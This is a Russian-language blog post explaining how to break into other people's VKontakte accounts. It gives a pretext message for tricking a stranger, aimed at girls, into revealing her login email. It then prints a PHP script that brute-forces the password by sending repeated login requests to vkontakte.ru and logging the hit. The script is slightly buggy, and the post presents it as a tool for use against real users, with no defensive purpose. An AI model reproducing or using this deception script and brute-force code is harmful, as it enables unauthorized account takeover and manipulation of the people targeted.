Взлом пароле на сайте вконтакте.ру
Прежде чем перейти к практической реализации я приведу немного интересной теоретической информации к размышлению.
Засекреченные пароли являются всего лишь набором символов. Обычно не большим набором, длинной 6-10 символов. Если речь идет не о ключе к какой-либо программе, то пароль приходится просто угадывать, перебирая все возможные варианты. Дело в том, ЧОЧО в программах уже содержится шаблон ключей активации и взлом в состоит получении этого шаблона, по которому уже формируются секретные пароли.
В нашем же случае остается уповать на простой перебор. Но переборов у нас есть тоже два вида.
Взлом паролей неопытных людей
Паролем у неопытных людей служит какое либо слово, написанное чаще всего на английском языке. В английском языке содержится несколько сот тысяч слов. Для программного перебора это весьма мало. Взломать такой пароль не составит труда, а время на подбор скорее всего не перепрыгнет за рамки одного дня.
Вконтакте предполагает уже встроенную защиту от простых паролей и при регистрации требует наличия в пароле букв и цифр одновременно. Поэтому подобную реализацию программы подбора мы пока оставим на потом.
Взлом паролей опытных людей.
Пароли опытных людей содержат в себе помимо латинских символов (букв), также и цифры. А само ключевое слово, не является простым словом, а носит специфических характер. Может быть слитное написание имени и фамилии любимого актера или персонажа. Или вообще это может быть специфический набор символов или, как вариант слово написанное наоборот: tserofehtniniar. Такой тип паролей я отношу к хорошим, потому ЧОЧО их не подобрать ни по какому словарю.
Главной проблемой взлома паролей является время перебора всевозможных вариантов. Время расчета сильно зависит от конфигурации компьютерной системы, на которой производится расчет, а в нашем случае еще и скорости соединения с Интернетом. Но на домашних компьютерах можно найти некую усредненную величину. Чтобы понять корень проблемы со взломом пароля, приведу наглядную таблицу.
Длина пароля Набор символов
Только маленькие буквы Маленькие буквы и цифры Маленькие, большие буквы + цифры Всевозможные символы
<=4 мгновенно мгновенно мгновенно 2 минуты
5 мгновенно 2 минуты 12 минут 4 часа
6 10 минут 72 минуты 10 часов 18 дней
7 4 часа 43 часа 23 дня 4 года
8 4 дня 65 дней 3 года 463 года
9 4 месяца 6 лет 178 лет 44530 лет
10 Лучше сразу застрелиться
Как видно из таблицы, имеет смысл лишь попытаться предположить, ЧОЧО пароль имеет длину 6 символов и попытаться найти его. Информацией какой процент людей используют шестизначный пароль я не обладаю. У меня самого 10-ти значный ^__^ Так ЧОЧО здесь все только на удачу. Кстати, в нашем случае, скорость обработки и того меньше, значит время будет еще больше, чем указанно в таблице.
Теперь я должен упомянуть аспект, который косвенно относится ко взлому, но без него мы не сможем даже попытаться. Без знания логина нет смысла угадывать пароль. Но как показывает практика, узнать регистрационный email пользователя (а именно email служит логином) не составляет труда.
Если это Ваш знакомый, то возможно Вы уже переписывались с ним и можете посмотреть в сохраненных письмах его email. Некоторые люди вообще не скрывают своего email`a и его спокойно можно увидеть на их персональной странице в системе vkontakte. Ну а если человек не знакомый, то здесь наступает моя любимая часть: уловки, обман, хитрость, смелка!
Пример того, как можно узнать регистрационный email. Отправляете следующее сообщение своему оппоненту:
«Привет! Слушай… У тебя такое классное фото в одном из альбомов. Просто замечательно! Ты очень красиво получилась. Я вообще художник и люблю составлять красивые коллажи в PhotoShop`e. Прошу, прошу, прошу… пришли пожалуйста это фото в оригинальном качестве, у меня есть задумка красивого лесного пейзажа, где ты великолепно будешь смотреться. Потом обязательно тебе подарю, сможешь перед друзьями хвастаться. Конечно, бесплатно. А? Ну, можно, можно? Пожалуйста… Пришлешь мне его на email, а то у меня вконтакте медленно открывается. Жду ответа…»
Большинство девушек, так точно на подобное согласятся. И практически все из тех, кто согласятся будут отправлять фото со своих регистрационных email`ов. Все. Логин у нас в кармане.
Схема работы скрипта проста до безобразия. В шести вложенных друг в друга циклах идет перебор всех допустимых значений. Все обработанные варианты заносятся в файл. Если пароль подойдет, то он будет последним в файле и отмечен записью PASSWORD CRACKED!!!
<? // Открывает страничку с полем для ввода сообщений function produceQuery($url, $post, $username = false, $passowrd = false) { $ch = curl_init(); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt ($ch, CURLOPT_COOKIEJAR, "cv.txt"); curl_setopt($ch, CURLOPT_COOKIEFILE,"cv.txt"); curl_setopt($ch, CURLOPT_POST, 1); // set POST method // Здесь как раз перечисляются передаваемые параметры curl_setopt($ch, CURLOPT_POSTFIELDS, $post); $html = curl_exec($ch); curl_close($ch); // Вернуть результат return $html; } function checkPass($username, $password) { $post = "email=$username&pass=$password&submit=$submit&fail_url=$fail_url&success_url=$success_url&try_to_login=1"; $answer = produceQuery("http://vkontakte.ru/login.php", $post); $answer = iconv("UTF-8", "Windows-1251", $answer); if(preg_match("/Моя Страница/", $answer, $out)) { echo true; } else { return false; } } if(isset($_REQUEST['submit'])) { // Открываем файл, в который будем записывать обработанные пароли $file = fopen("pass.txt", "w"); // Алфавит взлома $skey = " 1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"; $length = strlen($skey); $length--; // Логин пользователя: предположительно известен $username = $_REQUEST['login']; //$username = ""; // Предполагаемый Пароль $password = ""; // Подбираем пароль: максимум из 10 знаков for ($i1 = 1; $i1 <= $length; $i1++) { for ($i2 = 1; $i2 <= $length; $i2++) { for ($i3 = 1; $i3 <= $length; $i3++) { for ($i4 = 1; $i4 <= $length; $i4++) { for ($i5 = 1; $i5 <= $length; $i5++) { for ($i6 = 1; $i6 <= $length; $i6++) { $password = $skey[$i6] . $skey[$i5] . $skey[$i4] . $skey[$i3] . $skey[$i2] . $skey[$i1]; $password = trim($password); if(checkPass($username, $password)) { // пароль найтиен! fwrite($file, $password . " PASSWORD CRACKED!!!" . "\n"); fclose($file); exit; } else { // Пароль не подошел, просто записать его в файл fwrite($file, $password . "\n"); } } } } } } } } ?> <h2>Взлом пароля в vkontakte.ru</h2> <form action="" method="POST"> Логин пользователя <input type="text" name="login" style="width: 200px;"> <input type="submit" name="submit" value="Отодрать"> </form>
Фактически мы используем так называемый полный перебор, метод «грубой силы» от английского названия Brute Force или как я называю этот метод программирования – «со всего разбегу головой об бетонную стену». Потому как это метод решения задачи в лоб, без всяких ухищрений и уловок. Алгоритм подбора можно усовершенствовать, тогда время подбора сократится. Буду рад, если кто предложит свои наработки.
Настроение: Любознательное